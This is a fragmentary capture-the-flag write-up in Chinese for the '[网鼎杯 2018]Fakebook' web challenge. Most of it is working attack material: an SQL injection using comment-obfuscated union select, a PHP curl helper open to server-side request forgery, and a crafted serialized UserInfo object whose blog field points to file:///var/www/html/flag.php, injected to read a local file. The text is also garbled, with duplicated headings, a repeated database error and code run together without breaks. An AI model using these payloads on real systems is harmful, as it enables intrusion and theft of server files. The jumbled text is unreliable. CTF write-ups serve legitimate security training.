[网鼎杯 2018]Fakebook
[网鼎杯 2018]Fakebook
考点
wp
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1最后更新于
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1最后更新于
username : \11111111
passwd : 长度为128的加密字符串
data :
O:8:"UserInfo":3:{s:4:"name";s:9:"\11111111";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";}?no=0/**/union/**/select/**/1,2,3,4 function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}class UserInfo
{
public $name = "test";
public $age = 12;
public $blog = "file:///var/www/html/flag.php";
}
$x = new UserInfo();
echo serialize($x);no=0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'